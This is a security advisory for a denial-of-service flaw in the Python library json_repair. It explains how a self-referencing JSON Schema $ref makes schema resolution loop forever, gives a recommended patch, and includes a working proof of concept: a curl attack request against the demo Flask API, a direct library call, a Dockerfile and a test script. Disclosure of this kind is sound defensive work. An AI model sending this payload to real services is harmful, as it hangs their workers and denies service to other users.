GHSA-xf7x-x43h-rpqh json
json_repair: Circular JSON Schema `$ref` causes unbounded CPU DoS
published 5mo ago modified 4mo ago
- cvss
- 7.5
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`
### Summary
`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).
### Details
`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop:
```python # src/json_repair/schema_repair.py:184-190 schema_dict = cast("dict[str, Any]", schema) while "$ref" in schema_dict: ref = schema_dict["$ref"] resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved ```
`_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:
```json {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} ```
`_resolve_ref()` returns the same `dict` object on every iteration, so `"$ref" in schema_dict` is always `True` and the loop never terminates.
The vulnerable sink is reachable without authentication through the demo Flask API:
```python # docs/app.py:14, 21-36 data = request.get_json() schema = data.get("schema") if schema is not None and not isinstance(schema, (dict, bool)): raise ValueError("schema must be a JSON object or boolean.") ... if schema is not None: loads_kwargs["schema"] = schema parsed_json = loads(malformed_json, **loads_kwargs) ```
The only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:
1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body. 2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied. 3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`. 4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`. 5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop. 6. `src/json_repair/schema_repair.py:184–190` — unbounded `while "$ref" in schema_dict` loop (sink). 7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call.
**Recommended fix:**
```diff --- a/src/json_repair/schema_repair.py +++ b/src/json_repair/schema_repair.py def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool: ... - schema_dict = cast("dict[str, Any]", schema) + schema_dict = cast("dict[str, Any]", schema) + seen_schema_ids: set[int] = set() while "$ref" in schema_dict: ref = schema_dict["$ref"] + if not isinstance(ref, str): + raise SchemaDefinitionError("$ref must be a string.") + schema_id = id(schema_dict) + if schema_id in seen_schema_ids: + raise SchemaDefinitionError(f"Circular $ref detected: {ref}") + seen_schema_ids.add(schema_id) resolved = self._resolve_ref(ref) if isinstance(resolved, bool): return resolved schema_dict = resolved return schema_dict ```
### PoC
**Environment setup:**
```bash # Clone the affected version git clone https://github.com/mangiucugna/json_repair.git git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7
# Install dependencies pip install flask flask-cors jsonschema pydantic pip install -e json_repair/
# Start the demo API PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005 ```
**Alternatively, use the provided Docker image:**
```dockerfile FROM python:3.11-slim WORKDIR /app COPY repo/ /app/repo/ RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \ pip install --no-cache-dir -e /app/repo/ COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ```
```bash docker build -t vuln001-json-repair -f vuln-001/Dockerfile . docker run --rm vuln001-json-repair ```
**HTTP attack request (demo API):**
```bash timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \ -H 'Content-Type: application/json' \ --data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}' # Expected: no response before timeout; curl exits with code 124 ```
**Direct library attack:**
```bash timeout 5 python3 - <<'PY' from json_repair import loads schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}} print(loads("{}", schema=schema)) PY # Expected: process killed after 5 s; exit code 124 ```
**Observed results (from Docker-based dynamic reproduction):**
- Baseline (valid schema `{"type":"object","properties":{"name":{"type":"string"}}}`): completed in **0.261 s**. - Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed.
### Impact
This is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.
Beyond the demo API, any application that exposes `json_repair.loads(..., schema=<user-controlled>)` to untrusted callers is equally affected. The vulnerability requires no special privileges, produces no useful output for the attacker (confidentiality and integrity are unaffected), and is deterministically reproducible.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile FROM python:3.11-slim
WORKDIR /app
# Copy the vulnerable json_repair repository (build context is the report root) COPY repo/ /app/repo/
# Install Flask demo API dependencies and schema extras RUN pip install --no-cache-dir \ flask \ flask-cors \ jsonschema \ pydantic && \ pip install --no-cache-dir -e /app/repo/
# Copy the proof-of-concept script COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"] ```
#### `poc.py`
```python #!/usr/bin/env python3 """ PoC for VULN-001: Circular JSON Schema $ref causes unbounded CPU DoS CWE-835 — Loop with Unreachable Exit Condition
Affected: json_repair <= 0.59.10 (commit 0015c74) Sink: src/json_repair/schema_repair.py:185 SchemaRepairer.resolve_schema() while loop follows $ref without cycle detection.
Attack schema: {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
When passed to loads(..., schema=<above>), resolve_schema() enters an infinite loop because _resolve_ref() always returns the same dict object from root_schema.
Verdict logic: - Baseline (valid schema) must complete in < TIMEOUT seconds. - Attack (circular $ref) must still be running at TIMEOUT seconds. Both conditions together constitute deterministic proof of the vulnerability. """
import os import subprocess import sys import tempfile import time
# Seconds to wait before declaring the attack confirmed (infinite loop) TIMEOUT_SECONDS = 5
CIRCULAR_SCHEMA = { "$ref": "#/definitions/a", "definitions": { "a": {"$ref": "#/definitions/a"} } }
NORMAL_SCHEMA = { "type": "object", "properties": { "name": {"type": "string"} } }
_RUNNER_TEMPLATE = """\ import sys sys.path.insert(0, '/app/repo/src') from json_repair import loads schema = {schema_repr} result = loads('{{}}', schema=schema) print(result) """
def run_schema_test(schema: dict, timeout: int) -> tuple[bool, float, str]: """ Run json_repair loads() with the given schema in an isolated subprocess.
Returns: timed_out (bool): True if the process was still running at `timeout` seconds. elapsed (float): Wall-clock seconds until completion or kill. output (str): stdout/stderr excerpt. """ script_content = _RUNNER_TEMPLATE.format(schema_repr=repr(schema))
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as fh: fh.write(script_content) script_path = fh.name
start = time.monotonic() try: proc = subprocess.run( [sys.executable, script_path], timeout=timeout, capture_output=True, text=True, ) elapsed = time.monotonic() - start output = (proc.stdout.strip() or proc.stderr.strip())[:400] return False, elapsed, output except subprocess.TimeoutExpired: elapsed = time.monotonic() - start return True, elapsed, f"[no output — process killed after {elapsed:.2f}s]" finally: os.unlink(script_path)
def main() -> int: print("=" * 64) print("VULN-001 PoC: Circular $ref JSON Schema DoS") print("json_repair SchemaRepairer.resolve_schema() — CWE-835") print("=" * 64)
# --- Test 1: baseline (must complete quickly) --- print(f"\n[TEST 1] Baseline — valid schema (expect completion < {TIMEOUT_SECONDS}s)") timed_out_baseline, elapsed_baseline, output_baseline = run_schema_test( NORMAL_SCHEMA, TIMEOUT_SECONDS ) if timed_out_baseline: print(f" UNEXPECTED TIMEOUT after {elapsed_baseline:.2f}s — environment issue") baseline_ok = False else: print(f" COMPLETED in {elapsed_baseline:.3f}s -> {output_baseline}") baseline_ok = True
# --- Test 2: circular $ref attack (must time out) --- print( f"\n[TEST 2] Attack — circular $ref schema" f" (expect hang > {TIMEOUT_SECONDS}s)" ) print(f" Schema: {CIRCULAR_SCHEMA}") timed_out_attack, elapsed_attack, output_attack = run_schema_test( CIRCULAR_SCHEMA, TIMEOUT_SECONDS ) if timed_out_attack: print( f" TIMED OUT after {elapsed_attack:.2f}s " f"— infinite loop CONFIRMED (VULNERABLE)" ) attack_confirmed = True else: print( f" Completed in {elapsed_attack:.3f}s -> {output_attack}" f"\n (patched or not triggered — check installation)" ) attack_confirmed = False
# --- Summary --- print("\n" + "=" * 64) if baseline_ok and attack_confirmed: print("VERDICT: PASS") print(" Normal schema : returned in under 1 s") print(f" Circular $ref : still running after {TIMEOUT_SECONDS}s (killed)") print(" Conclusion: resolve_schema() enters an unbounded loop on circular $ref.") return 0 elif not attack_confirmed: print("VERDICT: FAIL — circular $ref did not cause an infinite loop") print(" The library may already be patched in this build.") return 2 else: print("VERDICT: FAIL — baseline test failed; check the environment") return 3
if __name__ == "__main__": sys.exit(main()) ```
Patch / fix
Is GHSA-xf7x-x43h-rpqh in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerCVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| pypi | json-repair | <0.60.1 |
0.60.1 |
Classification
- Weakness
-
- CWE-835 Loop with Unreachable Exit Condition
References
Sources
- GitHub Advisory GHSA-xf7x-x43h-rpqh
- Maintainer advisory GHSA-xf7x-x43h-rpqh
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.
The maintainers of mangiucugna/json_repair published their own advisory on GitHub. Reviewed sources take precedence over it.